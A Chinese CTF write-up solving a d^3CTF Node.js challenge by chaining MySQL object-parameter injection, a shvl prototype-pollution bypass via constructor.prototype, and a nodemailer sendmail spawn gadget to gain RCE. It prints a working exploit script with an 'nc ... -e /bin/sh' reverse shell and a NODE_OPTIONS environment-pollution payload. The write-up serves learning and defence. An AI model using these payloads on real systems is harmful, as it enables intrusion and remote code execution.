周末进行的d^3CTF原本自己是没参加的。不过因为被问到了其中一道题目所以就做了下, 大概花了2个小时。题目难度虽然中等,不过个人认为其利用链的组成都是比较经典的漏洞。这里分享下自己的做题思路
analysis
首先拿到源码分析下。并不像简单的nodejs题目存在显眼的漏洞利用点。但是有一些地方是拥有express 开发经验的小伙伴绝不能疏忽掉的
这里用的是没有展开
的post数据中间件与json中间件。这意味着当我们发送json数据时,可以传入数组/对象。
我们接下来继续看题目思路。
访问admin路由需要req.session.username
为 admin. 之后在admin路由处调用了一个非常显眼的赋值操作。最后将我们的数据通过nodemailer
中的sendMail
发送邮件。
既然需要session 为admin , 我们就要作为admin 登录。我们来看登录sql语句的操作。
sql.query("SELECT * FROM users WHERE username = ? AND password = ?",[username, password],function (err, res) {
......
}
很奇怪。虽然没有字符拼接,但也没有用常规的占位符处理。传入的参数是一个数组。我们来看官方文档对这种情况的处理。
可以看出这是一种转义字符的用法。但是注意此处并没有限制传入参数只能为字符。还记得上面json中间件的存在吗,我们当然可以直接传入对象/数组,而mysql依赖对于这种情况的处理是喜闻乐见的:
此处的键值会被展开,那我们自然可以直接构造一个真值的登录语句
SELECT * FROM users WHERE username = 'admin' AND password = `password` =1
看到登录路由并没有语句判断传入参数是否只为字符串,所以就可以用{"username":"admin", "password": {"password": "1"}}
成功登录,来到admin路由。
ps: 之前出NCTF 的nosql注入时就曾强调过,传参一定要检查类型。这两处都是因为允许json数据传入对象导致注入的典型。也是老到掉牙的问题了。
prototype pollution to RCE
接下来我把重心放在admin控制器那非常显眼的代码那,
let contents = {};
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});
contents.from = '"admin" <admin@8-bit.pub>';
熟悉node 漏洞的应该一眼就能看出来这里可能存在原型链污染漏洞。
(不直接传值非要遍历可控json数据的keys,太明显了。。。)
上github搜索下shvl会发现这是一个star 连100都不到的依赖。如果关注过hackerone上node 第三方依赖漏洞的话,就会留意到上面有很多非常冷门的依赖的原型链污染漏洞。这些依赖大多使用量少,以至于开发者有时也懒得修。官方也不会注重其安全性(所以开发中还是用使用量多的依赖2333)
按照这个思路搜索shvl prototype pollution
不难发现
https://snyk.io/vuln/SNYK-JS-SHVL-1054936
的确存在污染漏洞。不过貌似现在版本已经修复了。我们来看看修复代码
export function set (object, path, val, obj) {
return !/__proto__/.test(path) && ((path = path.split ? path.split('.') : path.slice(0)).slice(0, -1).reduce(function (obj, p) {
return obj[p] = obj[p] || {};
}, obj = object)[path.pop()] = val), object;
};
此处比较尴尬的是,作者修复的方式只是单纯的检查 path
是否含__proto__
. 然而它赋值的方法是通过循环对象赋值的。绕过方法太常见了。constructor.prototype
即可
poc
const shvl = require('shvl');
var obj = {}
console.log("Before : " + obj.isAdmin);
shvl.set(obj, 'constructor.prototype.isAdmin', true);
console.log("After : " + obj.isAdmin);
console.log(Object.prototype);
/*
Before : undefined
After : true
[Object: null prototype] { isAdmin: true }
*/
这里可以看到我们已经污染到基类原型的任意属性上了,这可以算是非常强大的。假如题目用了模板引擎基本上就结束直接RCE了。不过显然,题目的nodemailer还没有用到。我们先来看下nodemailer的历史漏洞
很快我们就能找到
https://snyk.io/vuln/SNYK-JS-NODEMAILER-1038834
这里的命令注入漏洞。来看下关键代码
nodemailer\lib\sendmail-transport\index.js
中 , SendmailTransport 类的send 方法
这里命令注入的原理是,args参数-i
与默认为空的this.args
与可控的envelope.to
拼接了。这就导致我们可以额外塞入其他参数。做到参数注入,像-Dfilename@example.com (Debug output ffile)
然后,下面调用了一个_spawn,其实就是spawn(sendmail,args)
。如果说php里大家最先会去找的恶意函数是system,exec
等os函数,nodejs中相对应的肯定就是spawn,execSync
这样的了(其实都是调用的spawn),更不用说,基类污染 + child_process = RCE.
既然这里有子进程函数。我们又有任意链上的污染,这样就有两种方式RCE了。一个朴素的想法就是简单检查下看看其子进程函数参数是否可控。
分享一个非常常见的小技巧,要知道这个属性是不是会受到链上污染的影响,直接看代码结构就好了
基本上出现if(xxx.xxx)
这样语句的,它用来判断的属性多半是没有预先赋值的。所以才会通过if来判断是否有值,来写条件语句。而这些属性基本都是可污染的。正因如此,我们可以直接做到污染options.args
与options.path
.等于是完全控制了spawn的参数。
spawn的第一个参数是command,第二个是数组接收 command-line arguments。我们可以用/bin/sh -c "xxx"
执行任意命令
那么题目中的sendmail会不会默认走到这里呢?我们看下mail.js中nodemailer.createTransport
的代码
显然需要options中设置 sendmail 为true,我们的transporter
才会是SendmailTransport
. 这里跟上面是一样的道理,我们直接污染 sendmail 属性即可
接下来就很轻松了
exploit
方便调试起见,我们先本地起一下代码。这里都很好配置,稍微需要注意的是smtp服务器的设置。我们直接看官方文档 https://nodemailer.com/about/ 按照官方的配置直接https://nodemailer.com/about/ 创立一个账户。就可以跑起来了
然后按照上面的利用链,写exp打一下,本地很快通了,远程的话找了下只能nc弹shell比较方便。
import requests
s = requests.session()
r = s.post('http://ce775e2992.8bit-pub.d3ctf.io/user/signin', json={
'username': 'admin',
'password': {
'password': 1
}},
cookies={
'session': 's%3Asis-4wQQfN9QjaqEJAhBIL4iPP_e-qnr.p1CqQc3RiekkFz5FYzBRR9%2BO3j%2FIUX0vPh2sdkcuMk8'
})
print(r.json())
r = s.post('http://ce775e2992.8bit-pub.d3ctf.io/admin/email', json={
'from': "admin@123.com",
'to': 'j3c9g.tls@inbox.testmail.app',
'contents': "bycbycbyc",
"constructor.prototype.sendmail": True,
"constructor.prototype.path": "/bin/sh",
"constructor.prototype.args": ["-c", "nc xxx 9001 -e /bin/sh"],
}, cookies={
'session': "s%3Asis-4wQQfN9QjaqEJAhBIL4iPP_e-qnr.p1CqQc3RiekkFz5FYzBRR9%2BO3j%2FIUX0vPh2sdkcuMk8"
})
print(r.json())
当然。如果不想找污染到rce的属性时,还有一个通法。就是我在NCTF2020 中出的packagemanager_v2.0 里的利用
当时提到过了。到基类的污染+ 任意子进程 = RCE。这里无脑直接污染环境变量当然是可以的
改下就行
"constructor.prototype.sendmail": True,
"constructor.prototype.shell":"node",
"constructor.prototype.env.NODE_DEBUG": "require('child_process').execSync('curl 127.0.0.1');process.exit();//",
"constructor.prototype.env.NODE_OPTIONS":"-r /proc/self/environ",
远程nc打通
由于题目打一次后数据库就会报错,只要完成第一步以admin登录的选手应该都能在登录时看到他人的payload。所以可能会有蹭车。
summary
总的来说这道题难度一般。但是利用点其实都是比较经典的。所以值得分享一下。也提醒我们从开发的角度上,一方面在打开了json中间件或者{extended: true}
的情况下一定要注意传参类型。另一方面也是避免使用用量低的node依赖,否则可能会存在一些未修复完全或者甚至根本不修复的代码。比如 此处没修复完全的shvl 的情形甚至都不是个例。之前 posix挖到的flat 依赖 原型链污染第一次修复的版本跟这里出现了几乎一样的问题,导致可以prototype
绕过。。。
最后就是关于RCE。 nodejs里想借由漏洞达成RCE确实不是一件简单的事情,基本上就参数注入,或者原型链污染 + gadget/ AST injection. 这也是为什么原型链污染始终是nodejs漏洞热门的原因。 之前注意到posix他们已经研究出了自动挖掘原型链污染的工具了,属实羡慕。。。